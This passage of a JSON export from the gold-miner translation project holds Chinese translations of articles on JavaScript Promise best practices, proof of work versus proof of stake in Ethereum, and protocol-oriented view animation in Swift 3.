的关系可以在流程图中清晰的描述出来：\n![image](https://res.cloudinary.com/practicaldev/image/fetch/s--gf5-9vXv--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://user-images.githubusercontent.com/6966254/36400725-dac92186-15a0-11e8-8b4f-6a344e6a5229.png)\n\n需要特别注意的是 `promA`、 `promB` 和 `promC` 全部都是不同的但是有关联的 Promise。\n\n我喜欢把 `.then` 想像成一个大型管道，当上游节点出现问题时，水就会停止流向下游。例如，如果 `promB` 失败，下游节点不会受到影响，但是如果 `statusProm` 失败，那么下游的所有节点都将受到影响，即 `rejected`。\n\n## 3. 对调用者来说，`Promise` 的 `resolved/rejected` 状态是唯一的\n\n我认为这个是让 Promise 好好运行的最重要的事情之一。简单来说，如果在你的应用中 Promise 在很多不同的模块之间共享，那么当 Promise 返回 `resolved/rejected` 状态时，所有的调用者都会收到通知。\n\n> 这也意味着没有人可以改变你的 Promise，所以可以放心的把它传递出去。\n\n```\nfunction yourFunc() {\n  const yourAwesomeProm = makeMeProm();\n\n  yourEvilUncle(yourAwesomeProm); // 无论 Promise 受到了怎样的影响，它最终都会成功执行\n\n  return yourAwesomeProm.then(r => importantProcessing(r));\n}\n\nfunction yourEvilUncle(prom) {\n  return prom.then(r => Promise.reject(\"destroy!!\")); // 可能遭受的影响\n}\n```\n\n通过上面的例子可以看出，Promise 的设计使得自身很难被改变。正如我上面所说的：\"保持冷静，并将 Promise 传递下去\"。\n\n## 4. Promise 构造函数不是解决方案\n\n我看到很多开发者喜欢用构造函数的风格，他们认为这就是 Promise 的方式。但这却是一个谎言，实际的原因是构造函数 API 和之前回调函数的 API 相似，而且这样的习惯很难改变。\n\n> **如果你发现自己正在到处使用 `Promise 构造函数`，那你的做法是错的！**\n\n要真正的向前迈进一步并且摆脱回调，你需要小心谨慎并且最小程度地使用 Promise 构造函数。\n\n让我们看一下使用 `Promise 构造函数` 的具体情况：\n\n```\nreturn new Promise((res, rej) => {\n  fs.readFile(\"/etc/passwd\", function(err, data) {\n    if (err) return rej(err);\n    return res(data);\n  });\n});\n```\n\n`Promise 构造函数` 应该**只在你想要把回调转换成 Promise 时使用**。\n一旦你掌握了这种创建 Promise 的优雅方式，它将会变的非常有吸引力。\n\n让我们看一下冗余的 `Promise 构造函数`。\n\n☠️**错误的**\n\n```\nreturn new Promise((res, rej) => {\n    var fetchPromise = fetchSomeData(.....);\n    fetchPromise\n        .then(data => {\n            res(data); // 错误！！！\n        })\n        .catch(err => rej(err))\n})\n```\n\n💖**正确的**\n\n```\nreturn fetchSomeData(...); // 正确的！\n```\n\n用 `Promise 构造函数` 封装 Promise 是**多余的，并且违背了 Promise 本身的目的**。\n\n😎**高级技巧**\n\n如果你是一个 **nodejs** 开发者，我建议你可以看一看 [util.promisify](http://2ality.com/2017/05/util-promisify.html)。这个方法可以帮助你把 node 风格的回调转换为 Promise。\n\n```\nconst {promisify} = require('util');\nconst fs = require('fs');\n\nconst readFileAsync = promisify(fs.readFile);\n\nreadFileAsync('myfile.txt', 'utf-8')\n  .then(r => console.log(r))\n  .catch(e => console.error(e));\n```\n\n</div>\n\n## 5. 使用 Promise.resolve\n\nJavascript 提供了 `Promise.resolve` 方法，像下面的例子这样简洁：\n\n```\nvar similarProm = new Promise(res => res(5));\n// ^^ 等价于\nvar prom = Promise.resolve(5);\n```\n\n它有多种使用情况，我最喜欢的一种是可以把普通的（异步的）js 对象转化成 Promise。\n\n```\n// 将同步函数转换为异步函数\nfunction foo() {\n  return Promise.resolve(5);\n}\n```\n\n当不确定它是一个 Promise 还是一个普通的值的时候，你也可以做一个安全的封装。\n\n```\nfunction goodProm(maybePromise) {\n  return Promise.resolve(maybePromise);\n}\n\ngoodProm(5).then(console.log); // 5\n\nvar sixPromise = fetchMeNumber(6);\n\ngoodProm(sixPromise).then(console.log); // 6\n\ngoodProm(Promise.resolve(Promise.resolve(5))).then(console.log); // 5, 注意，它会自动解析所有的 Promise！\n```\n\n## 6.使用 Promise.reject\n\nJavascript 也提供了 `Promise.reject` 方法。像下面的例子这样简洁：\n\n```\nvar rejProm = new Promise((res, reject) => reject(5));\n\nrejProm.catch(e => console.log(e)) // 5\n```\n\n我最喜欢的用法是提前使用 `Promise.reject` 来拒绝。\n\n```\nfunction foo(myVal) {\n    if (!mVal) {\n        return Promise.reject(new Error('myVal is required'))\n    }\n    return new Promise((res, rej) => {\n        // 从你的大回调到 Promise 的转换！\n    })\n}\n```\n\n简单来说，使用 `Promise.reject` 可以拒绝任何你想要拒绝的 Promise。\n\n在下面的例子中，我在 `.then` 里面使用：\n\n```\n.then(val => {\n  if (val != 5) {\n    return Promise.reject('Not Good');\n  }\n})\n.catch(e => console.log(e)) // 这样是不好的\n```\n\n**注意：你可以像 `Promise.resolve` 一样在 `Promise.reject` 中传递任何值。你经常在失败的 Promise 中发现 `Error` 的原因是因为它主要就是用来抛出一个异步错误的。**\n\n## 7. 使用 Promise.all\n\nJavascript 提供了 [Promise.all](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/all) 方法。像 ... 这样的简洁，好吧，我想不出来例子了😁。\n\n在伪算法中，`Promise.all` 可以被概括为：\n\n```\n接收一个 Promise 数组\n\n    然后同时运行他们\n\n    然后等到他们全部运行完成\n\n    然后 return 一个新的 Promise 数组\n\n    他们其中有一个失败或者 reject，都可以被捕获。\n```\n\n下面的例子展示了所有的 Promise 完成的情况：\n\n```\nvar prom1 = Promise.resolve(5);\nvar prom2 = fetchServerStatus(); // 返回 {statusCode: 200} 的 Promise\n\nProimise.all([prom1, prom2])\n.then([val1, val2] => { // 注意，这里被解析成一个数组\n    console.log(val1); // 5\n    console.log(val2.statusCode); // 200\n})\n```\n\n下面的例子展示了当他们其中一个失败的情况：\n\n```\nvar prom1 = Promise.reject(5);\nvar prom2 = fetchServerStatus(); // 返回 {statusCode: 200} 的 Promise\n\nProimise.all([prom1, prom2])\n.then([val1, val2] => {\n    console.log(val1); \n    console.log(val2.statusCode); \n})\n.catch(e =>  console.log(e)) // 5, 直接跳转到 .catch\n```\n\n**注意：`Promise.all` 是很聪明的！如果其中一个 Promise 失败了，它不会等到所有的 Promise 完成，而是立即中止！**\n\n## 8. 不要害怕 reject，也不要在每个 .then 后面加冗余的 `.catch`\n\n我们是不是会经常担心错误会在它们之间的某处被吞噬？\n\n为了克服这个恐惧，这里有一个简单的小提示：\n\n> **让 reject 来处理上游函数的问题。**\n\n在理想的情况下，reject 方法应该是应用的根源，所有的 reject 都会向下传递。\n\n**不要害怕像下面这样写**\n\n```\nreturn fetchSomeData(...);\n```\n\n现在如果你想要处理函数中 reject 的情况，请决定是解决问题还是继续 reject。\n\n💘 **解决 reject**\n\n解决 reject 是很简单的，在 `.catch` 不论你返回什么内容，都将被假定为已解决的。然而，如果你在 `.catch` 中返回 `Promise.reject`，那么这个 Promise 将会是失败的。\n\n```\n.then(() => 5.length) // <-- 这里会报错\n.catch(e => {\n        return 5;  // <-- 重新使方法正常运行\n})\n.then(r => {\n    console.log(r); // 5\n})\n.catch(e => {\n    console.error(e); // 这个方法永远不会被调用 :)\n})\n```\n\n💔**拒绝一个 reject**\n\n拒绝一个 reject 是简单的。**不需要做任何事情。** 就像我刚刚说的，让它成为其他函数的问题。通常情况下，父函数有比当前函数处理 reject 更好的方法。\n\n需要记住的重要的一点是，一旦你写了 catch 方法，就意味着你正在处理这个错误。这个和同步 `try/catch`的工作方式相似。\n\n如果你确实想要拦截一个 reject：（我强烈建议不要这样做！）\n\n```\n.then(() => 5.length) // <-- 这里会报错\n.catch(e => {\n  errorLogger(e); // 做一些错误处理\n  return Promise.reject(e); // 拒绝它，是的，你可以这么做！\n})\n.then(r => {\n    console.log(r); // 这个 .then (或者任何后面的 .then) 将永远不会被调用，因为我们在上面使用了 reject :)\n})\n.catch(e => {\n    console.error(e); //<-- 它变成了这个 catch 方法的问题\n})\n```\n\n**.then(x,y) 和 then(x).catch(x) 之间的分界线**\n\n`.then` 接收的第二个回调函数参数也可以用来处理错误。它和 `then(x).catch(x)` 看起来很像，但是他们处理错误的区别在于他们自身捕获的错误。\n\n我会用下面的例子来说明这一点：\n\n```\n.then(function() {\n   return Promise.reject(new Error('something wrong happened'));\n}).catch(function(e) {\n   console.error(e); // something wrong happened\n});\n\n.then(function() {\n   return Promise.reject(new Error('something wrong happened'));\n}, function(e) { // 这个回调处理来自当前 `.then` 方法之前的错误\n    console.error(e); // 没有错误被打印出来\n});\n```\n\n当你想要处理的是来自上游 Promise 而不是刚刚在 `.then` 里面加上去的错误的时候， `.then(x,y)` 变的很方便。\n\n提示: 99.9% 的情况使用简单的 `then(x).catch(x)` 更好。\n\n## 9. 避免 .then 回调地狱\n\n这个提示是相对简单的，尽量避免 `.then` 里包含 `.then` 或者 `.catch`。相信我，这比你想象的更容易避免。\n\n☠️**错误的**\n\n```\nrequest(opts)\n.catch(err => {\n  if (err.statusCode === 400) {\n    return request(opts)\n           .then(r => r.text())\n           .catch(err2 => console.error(err2))\n  }\n})\n```\n\n💖**正确的**\n\n```\nrequest(opts)\n.catch(err => {\n  if (err.statusCode === 400) {\n    return request(opts);\n  }\n})\n.then(r => r.text())\n.catch(err => console.erro(err));\n```\n\n有些时候我们在 `.then` 里面需要很多变量，那就别无选择了，只能再创建一个 `.then` 方法链。\n\n```\n.then(myVal => {\n    const promA = foo(myVal);\n    const promB = anotherPromMake(myVal);\n    return promA\n          .then(valA => {\n              return promB.then(valB => hungryFunc(valA, valB)); // 很丑陋!\n          })\n})\n```\n\n我推荐使用 ES6 的解构方法混合着 `Promise.all` 方法就可以解决这个问题。\n\n```\n.then(myVal => {\n    const promA = foo(myVal);\n    const promB = anotherPromMake(myVal);\n    return Promise.all([prom, anotherProm])\n})\n.then(([valA, valB]) => {   // 很好的使用 ES6 解构\n    console.log(valA, valB) // 所有解析后的值\n    return hungryFunc(valA, valB)\n})\n```\n\n注意：如果你的 node/浏览器/老板/意识允许，还可以使用 [async/await](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/async_function) 方法来解决这个问题。\n\n**我真心希望这篇文章对你理解 Promise 有所帮助。**\n\n请查看我之前的博客文章。\n\n*   [一个初学者指导 Javascript 内存泄漏问题](https://dev.to/kepta/a-toddlers-guide-to-memory-leaks-in-javascript-25lf)\n*   [了解 Javascript 中的默认参数](https://dev.to/kepta/understanding-default-parameters-in-javascript-ali)\n\n如果你 ❤️ 这篇文章，请分享这篇文章来传播它。\n\n在 Twitter 上联系我 [@kushan2020](https://twitter.com/kushan2020)。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/proof-of-work-vs-proof-of-stake.md",
    "content": "> * 原文地址：[Proof of Work vs Proof of Stake: Basic Mining Guide](https://blockgeeks.com/guides/proof-of-work-vs-proof-of-stake/)\n> * 原文作者：[Ameer Rosic](https://blockgeeks.com/author/ameerrosic)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/proof-of-work-vs-proof-of-stake.md](https://github.com/xitu/gold-miner/blob/master/TODO/proof-of-work-vs-proof-of-stake.md)\n> * 译者：[foxxnuaa](https://github.com/foxxnuaa)\n> * 校对者：[atuooo](https://github.com/atuooo), [moods445](https://github.com/moods445)\n\n# 工作量证明 vs 权益证明：基本挖矿指南\n\n最近你可能听说过一个想法，该想法将以太坊共识从工作量证明（PoW）转变为所谓的权益证明。\n\n在本文中，我将向您解释工作量证明与权益证明的主要区别。同时，我将向您介绍挖矿的定义，或者通过网络发布新的数字货币的过程。\n\n另外，如果[以太坊](http://blockgeeks.com/guides/what-is-ethereum/)社区决定从“工作量”转变为“权益”，那么挖矿技术会发生什么变化呢？\n\n本文希望成为理解上述问题的基本指南。\n\n![Proof of Work vs Proof of Stake: Basic Mining Guide](http://blockgeeks.com/wp-content/uploads/2017/03/infographics2017-01.png)\n\n## 什么是工作量证明？\n\n首先，让我们从基本定义开始。\n\n工作量证明是一个协议，主要目标是阻止网络攻击，例如分布式拒绝服务攻击（DDoS），DDoS 通过发送大量伪造请求耗尽计算机系统的资源。\n\n工作量证明在[比特币](http://blockgeeks.com/guides/what-is-bitcoin-a-step-by-step-guide/)之前就已经存在，但是中本聪将这种技术应用到他的/她的 - 我们仍然不知道中本聪真实身份 - 数字货币，从而彻底改变了传统交易的方式。\n\n实际上，PoW 的想法最初是由 Cynthia Dwork 和 Moni Naor 于 1993 年发表的，但是“工作量证明”一词是 Markus Jakobsson 和 Ari Juels 在 1999 年发表的一篇文章中创造的。\n\n但是，到目前为止，工作量证明可能是中本聪在 2008 年发布的比特币白皮书背后的最重要的想法，因为它允许自信任和分布式共识。\n\n## 什么是自信任和分布式共识？\n\n自信任和分布式共识意味着，如果您想发送和/或从某人那里接收钱，您不需要信任第三方服务。\n\n当您使用传统的支付方式时，您需要信任第三方来设置您的交易（例如 Visa，Mastercard，PayPal，银行）。他们拥有自己的私人登记簿，储存每个账户的交易历史和余额。\n\n为了更好地解释这种行为，常见的例子是：如果 Alice 给 Bob 发送 $100，受信任的第三方服务会扣除 Alice 的账户，同时增加 Bob 的账户，因此他们都必须信任这个第三方会做正确的事情。\n\n对于[比特币](http://blockgeeks.com/guides/what-is-bitcoin-a-step-by-step-guide/)和其他一些[数字货币](http://blockgeeks.com/guides/what-is-cryptocurrency/)，每个人都有一份账本拷贝（区块链），所以没有人需要信任第三方，因为任何人都可以直接验证所写的信息。\n\n![What is Blockchain Technology? A Step-by-Step Guide For Beginners](http://blockgeeks.com/wp-content/uploads/2016/09/home.jpg)\n\n## 工作量证明和挖矿\n\n进一步来说，工作量证明定义了一种昂贵的计算机运算，也称为挖矿，它需要执行该计算机运算以便在[称为区块链的分布式账本] (http://blockgeeks.com/guides/what-is-blockchain-technology/)上创建一组新的自信任的交易（即区块）。\n\n挖矿有两个目的：\n\n1. 验证交易的合法性，或避免所谓的双重消费；\n\n2. 通过奖励矿工执行之前的任务来创建新的数字货币。\n\n**当您想要进行一笔交易时，幕后会发生这些事情:**\n\n* 交易被打包到所谓的区块中；\n* 矿工确认每个区块内的交易是合法的；\n* 要做到这一点，矿工需要解决一个称为工作量证明问题的数学难题；\n* 奖励给第一位解决每个区块问题的矿工；\n* 将已验证的交易存储到公共区块链中\n\n这个“数学难题”有个关键特征：不对称。事实上，这项工作在请求方有一定难度，但是在网络侧很容易校验。这个想法也被称为CPU成本函数，客户难题，计算难题或者 CPU 定价函数。\n\n所有的网络矿工竞争成为第一个找到该数学问题的解决方案的人，而这个问题与候选区块有关，它无法用暴力来解决，所以基本上需要大量的尝试。\n\n当一名矿工最终找到了正确的解决方案的同时，他/她向整个网络宣布，并获得了协议所提供的加密货币奖(奖励)。\n\n从技术角度看，挖掘过程是逆向哈希操作：它确定一个数(nonce)，使区块数据的加密哈希算法的结果小于给定的阈值。\n\n这个被称为难度的阈值决定了挖矿竞争性的性质：增加了网络的计算能力，这个参数越高，创建新区块所需的平均计算量越大。这种方法也增加了区块创造的成本，推动矿工提高其挖矿系统的效率，以维持正向的经济平衡。这个参数大约每 14 天更新一次，每 10 分钟生成一个新块。\n\n工作量证明不仅被比特币区块链使用，而且还被以太坊和其他许多区块链所使用。\n\n工作量证明系统的一些功能因为每个区块链的创建不同而不同，但是现在我不想用太多的技术数据混淆你的概念。\n\n重要的是，现在[以太坊开发者](http://courses.blockgeeks.com/)想要使用新的被称为权益证明的共识系统来扭转局面。\n\n## 什么是权益证明?\n\n权益证明是一种不同的验证交易的方式，并实现了分布式共识。\n\n它仍然是一种算法，其目的与工作量证明是一样的，但是达到目标的过程是完全不同的。\n\n在 2011 年的 bitcointalk 论坛上，首次提出了权益证明，但第一个使用这种方法的数字货币是 2012 年的 Peercoin，还有 ShadowCash, Nxt, BlackCoin, NuShares/NuBits, Qora 和 Nav Coin。\n\n与工作量证明不同的是，工作量证明算法奖励那些解决数学问题以验证交易并创建新的区块的矿工们，对于权益证明，一个新区块的创建者是按照确定的方式选择的，取决于其财富，也被定义为权益。\n\n没有区块奖励。\n\n而且，所有的数字货币都是在一开始就创建的，它们的数量永远不会改变。\n\n这意味着在 PoS 系统中没有区块奖励，因此，矿工们收取交易费用。\n\n事实上，这也就是为什么在 PoS 系统中，矿工们被称为伪造者。\n\n## 为什么以太坊想用 PoS ？\n\n以太坊社区和它的创始人，Vitalik Buterin，打算做一个[硬](http://blockgeeks.com/omg-ethereum-hard-forked/)[分叉](http://blockgeeks.com/omg-ethereum-hard-forked/)，从工作量证明转换到权益证明。\n\n但为什么他们要从一个转向另一个呢？\n\n在基于工作量证明的分布式共识中，矿工们需要大量的能源。一个比特币交易需要消耗[1.57 美国家庭](http://blockgeeks.com/bitcoins-energy-consumption/) 一天 [(2015 年数据](http://blockgeeks.com/bitcoins-energy-consumption/))一样多的电力.\n\n这些能源成本以法定货币支付，导致数字货币价值持续下降。\n\n在最近的研究中，专家们认为，到 2020 年，比特币交易可能会消耗和丹麦一样多的电力。\n\n开发人员非常担心这个问题，因此以太坊社区想要开发一种更绿色、更便宜的分布式共识的权益证明方法。\n\n另外，创建一个新区块的奖励不同：对于工作量证明，矿工们可能无法拥有他/她开采的数字货币。\n\n在权益证明中，伪造者总是那些拥有铸币的人。\n\n## 如何选出伪造者？\n\n如果实现了 Casper（新的权益证明共识协议），那么将存在一个验证池。用户可以加入这个池，以便选为伪造者。这个过程可以通过一个函数调用 Casper 合约，同时[发送 Ether ](http://blockgeeks.com/guides/digital-wallet-guide/) —  或者驱动以太坊网络的以太币。\n\n* * *\n\n> **![What is Blockchain Technology? A step-by-step guide than anyone can understand](http://blockgeeks.com/wp-content/uploads/2016/09/Vitalik-Buterin.png)**\n> \n> **“一段时间后，你就会自动了解，”维塔利克·布特林在 Reddit 上的一篇文章中解释道。**\n\n* * *\n\n“验证池本身不会引入任何优先级方案；任何人都可以在任意一轮加入，而不用考虑其他参与者的数量”他继续说道。\n\n每个验证者的奖励将是“大约 2 - 15%”，但他还不太确定。\n\n此外，Buterin 认为，有效验证者（或伪造者）的数量不会有任何限制。但是，当有太多的验证者时，它会通过降低收益率进行调节；当有太少的验证者时，它会提高奖励。\n\n## 更安全的系统？\n\n任何计算机系统都想摆脱黑客攻击的可能性，特别是在服务与金钱有关的时候，尤其如此。\n\n那么，主要的问题是：权益证明比工作量证明更安全?\n\n专家们对此很担心，社区里也有一些怀疑论者。\n\n由于技术和经济上的限制，在使用工作量证明系统时，危险分子被淘汰。\n\n事实上，编程攻击 PoW 网络是非常昂贵的，而且需要的钱比你能偷的要多得多。\n\n相反，潜在的 PoS 算法必须尽可能的防攻击，因为如果没有特别的惩罚措施，基于权益证明的网络可能更容易被攻击。\n\n为了解决这个问题，Buterin 创建了 Casper 协议，设计了一个算法，在某些情况下当一个失效的验证者丢失它们的存储时，该算法仍然可以使用验证者集合。\n\n他解释道：“在 Casper 中，经济终结是通过要求验证者提交存款来参与，并在协议确定他们以某种方式违反了某些规则(‘苛刻的条件’)的情况下减去他们的存款来完成的。”\n\n苛刻的条件指的是用户不应违反上述情况或者法律。\n\n### 结论\n\n由于 PoS 系统验证者不需要使用他们的计算能力，因为唯一影响他们机会的因素是他们的持币总数和当前网络的复杂性。\n\n因此，从 PoW 切换到 PoS，未来可能会带来以下好处:\n\n1. 节约能源；\n\n2. 当攻击变得更加昂贵时，网络会变得更加安全：如果黑客想要购买总数 51% 的货币，市场就会通过快速的价格升值来应对。\n\n这样，CASPER 将成为一个依赖于经济共识系统的安全存款协议。新区块创建时，节点(或验证者)必须支付一个安全存款，以作为共识的一部分。Casper 协议将通过对安全存款的控制来确定验证者接收到的具体奖励金额。\n\n如果一个验证者创建了一个“无效”区块，它的安全存款和作为网络共识一部分的特权将被删除。\n\n换句话说，Casper 的安全系统是建立在类似于赌博的基础上的。在基于 PoS 的系统中，押注是根据共识规则，将对验证者和验证者下注的每个链进行奖励。\n\n因此，Casper 基于这样一个想法，即验证者会根据其他人的下注进行下注，并留下能够加速共识的积极反馈。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/protocol-oriented-programming-view-in-swift-3.md",
    "content": "> * 原文链接: [Protocol Oriented Programming View in Swift 3](https://medium.com/ios-geek-community/protocol-oriented-programming-view-in-swift-3-8bcb3305c427#.nxlwj0t9f)\n* 原文作者 : [Bob Lee](https://medium.com/@bobleesj)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [洪朔](http://www.tuccuay.com)\n* 校对者 : [DeepMissea](https://github.com/DeepMissea), [thanksdanny](https://github.com/thanksdanny)\n\n# 在 Swift 3 上对视图控件实践面向协议编程\n\n## 学习如何对 `button`, `label`, `imageView` 创建动画而不制造一串乱七八糟的类\n\n![](https://cdn-images-1.medium.com/max/2000/1*s_XZ1RzyZgyON36tM4zZCA.png)\n\n你可能听人说过，学到了知识却缺失了行动就好比人长了牙却还老盯着奶喝一样。那好，我们要怎样开始在我的应用中实践面向协议编程？🤔\n\n为了能更加高效的理解下面的内容，我希望读者能够明白 `Complection Handlers`，并且能创建协议的基本实现。如果你还不熟悉他们，可以先查看下面的文章和视频再回来接着看：\n\n前景提要：\n\n- [Intro to Protocol Oriented Programming](https://medium.com/ios-geek-community/introduction-to-protocol-oriented-programming-in-swift-b358fe4974f)\n- [No Fear Closures Part 2: Completion Handlers](https://medium.com/ios-geek-community/no-fear-closure-in-swift-3-with-bob-part-2-1d79b8c4021d#.5duucas56)\n- [Protocol Oriented Programming Series](https://www.youtube.com/playlist?list=PL8btZwalbjYm5xDXDURW9u86vCtRKaHML)\n\n### 看完这篇文章你会学到这些内容\n\n你将会明白如何使用协议给 `UIButton`, `UILabel`, `UIImageView` 等 UI 组件添加动画，同时我也会给你演示传统方法和使用 POP 方法之间的差异。😎\n\n### UI\n\n这个演示程序名为「欢迎来到我家的聚会」。我将会使用这个应用程序来验证你是否获得邀请，你必须输入你的邀请码。**这个应用并没有逻辑判断，所以只要你按下按钮，无论如何动画都将会被执行。** 将会有 `passcodeTextField`, `loginButton`, `errorMessageLabel` 和 `profileImageView` 四个组件参与动画过程。\n\n这里有两个动画：1. 左右晃动 2. 淡入淡出\n\n![](https://cdn-images-1.medium.com/max/1600/1*uN6sB588ehZIivOmmAsLPg.gif)\n\n不用担心遇到问题，现在我们干的就像写流水账一样，如果你不耐烦了，直接滑动到下面下载源代码就可以了，\n\n### 我们接着来\n\n想要完整的在应用中体验 POP 的魔力，那就先让我们和传统方式来比较一下，假设你想给 `UIButton` 和 `UILabel` 添加动画，你先将他们都子类化，再给他们添加一个方法：\n\n```swift\nclass BuzzableButton: UIButton {\n    func buzz() { /* Animation Logic */ }\n}\n\nclass BuzzableLabel: UIButton {\n    func buzz() { /* Animation Logic */ }\n}\n```\n\n然后，在你点击登录按钮的时候让他抖动\n\n```swift\n@IBOutlet wear var errorMessageLabel: BuzzableLabel!\n@IBOutlet wear var loginButton: BuzzableButton!\n\n@IBAction func didTapLoginButton(_ sender: UIButton) {\n    errorMessageLabel.buzz()\n    loginButton.buzz()\n}\n```\n\n看到我们是如何写**重复的代码**了吗？这个动画逻辑至少有 5 行，更好的选择是使用 `extension`，因为 `UILabel` 和 `UIButton` 都继承自 `UIView`，我们可以给它添加这样的扩展：\n\n```swift\nextension UIView {\n    func buzz() { /* Animation Logic */ }\n}\n```\n\n然后，`BuzzableButton` 和 `BuzzableLabel` 就都有了 `buzz` 方法。现在，我们不用再写重复的内容了。\n\n```swift\nclass BuzzableButton: UIButton { }\nclass BuzzableLabel: UIButton { }\n\n@IBOutlet wear var errorMessageLabel: BuzzableButton!\n@IBOutlet wear var loginButton: BuzzableLabel!\n\n@IBAction func didTapLoginButton(_ sender: UIButton) {\n    errorMessageLabel.buzz()\n    loginButton.buzz()\n}\n```\n\n### 那好，为什么要用 POP？ 🤔\n\n正如你锁看到的，`errorMessageLabel` 将会显示 \"Please enter valid code 😂\"，并且具有淡入和淡出效果，在传统形式下我们会怎么做？\n\n有两种方式来完成这一步。首先，你可以再向 `UIView` 添加一个方法\n\n```swift\n// Extend UIView\nextension UIView {\n    func buzz() { /* Animation Logic */ }\n    func pop() { /* UILabel Animation Logic */ }\n}\n```\n\n然而，如果我们把方法添加到 `UIView`，那么不光是 `UILabel`，其他所有 UI 组件都将会拥有 `pop` 这个方法，继承了不必要的函数让它变得过于臃肿了。\n\n而另一种方式则是创建 `UILabel` 的子类：\n\n```swift\n// Subclass UILabel\nclass BuzzableLabel: UILabel {\n    func pop() { /* UILabel Animation Logic */ }\n}\n```\n\n这样是**可用的**，我们可能会希望将类名改成 `BuzzablePoppableLabel` 来更清晰的声明它的用途。\n\n现在，如果你想给 `UILabel` 添加更多的方法，你就要再次给他起个新名字比如 `BuzzablePoppableFlashableDopeFancyLovelyLabel`，这恐怕不是一个可维护的方案，我们可能需要想想别的方法。\n\n### 面向协议编程\n\n**看到这里还没给文字点赞吗？动动手指点个赞然后继续往下看吧**\n\n我们受够了各种子类了，让我们先来创建一个协议，让他抖动起来。\n\n**我并没有在这里写动画代码，因为它很长，并且 gist 在移动设备上支持不佳**\n\n```swift\nprotocol Buzzable {}\n\nextension Buzzable where Self: UIView {\n    func buzz() { /* Animation Logic */ }\n}\n```\n\n任何 UI 组件只要遵循 `Buzzalbe` 协议就能拥有 `buzz` 方法，与直接给 `UIView` 添加 `extension` 不同，只有遵循协议的类才会拥有这些方法。另外，`where Self: UIView` 表示只有 `UIView` 或者从 `UIView` 继承的组件才能够遵循这个协议。\n\n现在，我们将 `Buzzable` 应用给了 `loginButton`, `passcodeTextField`, `errorMessageLabel` 和 `profileImageView`。等等，那 `Poppable` 呢？\n\n看起来差不多的：\n\n```swift\nprotocol Poppable { }\n\nextension Poppable where Self: UIView {\n    func pop() { /* Pop Animation Logic */ }\n}\n```\n\n是时候动真格的了！\n\n```swift\nclass BuzzableTextField: UITextField, Buzzable { }\nclass BuzzableButton: UIButton, Buzzable { }\nclass BuzzableImageView: UIImageView, Buzzable { }\nclass BuzzablePoppableLabel: UILabel, Buzzable, Poppable { }\n\nclass LoginViewController: UIViewController {\n    @IBOutlet weak var passcodTextField: BuzzableTextField!\n    @IBOutlet weak var loginButton: BuzzableButton!\n    @IBOutlet weak var errorMessageLabel: BuzzablePoppableLabel!\n    @IBOutlet weak var profileImageView: BuzzableImageView!\n\n    @IBAction func didTabLoginButton(_ sender: UIButton) {\n        passcodTextField.buzz()\n        loginButton.buzz()\n        errorMessageLabel.buzz()\n        errorMessageLabel.pop()\n        profileImageView.buzz()\n    }\n}\n```\n\nPOP 是一件很酷的事情，你可以在任何时间把这个协议应用给任何一个 UI 组件都不需要再去子类化任何东西。\n\n```swift\nclass MyImageView: UIImageVIew, Buzzable, Poppable { }\n```\n\n现在，你可以更加灵活的给类来命名，因为你已经知道它遵循了哪些协议，并且每个协议的名称就能很清晰的描述它在干什么。所以你不会再有 `MyBuzzablePoppableProfileImage` 这样的东西。\n\n**TL;DR**\n\n少用子类\n\n灵活的类名\n\n就像一个 Swift 开发者一样\n\n### 下一步\n\n一旦我这篇文章（译注：指英文原文）获得超过 *200 个 like*，并且你想了解如何将 POP 运用在 `UITableView` 和 `UICollectionView` 中，请关注我的 Medium。\n\n#### 资源\n\n[源代码](https://github.com/bobleesj/Blog_Protocol_Oriented_View)\n\n### Last Remarks\n\n我想希望你已经学到了一些新知识，如果有的话，请给本文点赞。如果你觉得本文内容很有用，请将本文分享给大家，以便世界各地的 iOS 开发者都能运用面向协议编程，以在写视图控件的时候写更少和更清晰的代码。回顾于 EST 时间星期六上午 8 点。\n\n### Swift 会议\n\n[Andyy Hope](https://medium.com/u/99c752aeaa48) ，我的一个朋友，目前正在组织在澳大利亚墨尔本最大的 Swift 会议之一 ———— Playground，我只是想让大家都知道这个。 有来自市值亿万美元公司的讲者，比如 Instagram，IBM，Meet Up，Lyft，Facebook，Uber。 在这里 [网站](http://www.playgroundscon.com) 你可以了解到更多信息。\n\n[https://twitter.com/playgroundscon](https://twitter.com/playgroundscon)\n\n#### Shoutout\n\n感谢大家给我的支持:\n\n- [Nam-Anh](https://medium.com/u/faa961e18d88)\n- [Kevin Curry](https://medium.com/u/c433b47b54de)\n- David\n- [Akshay 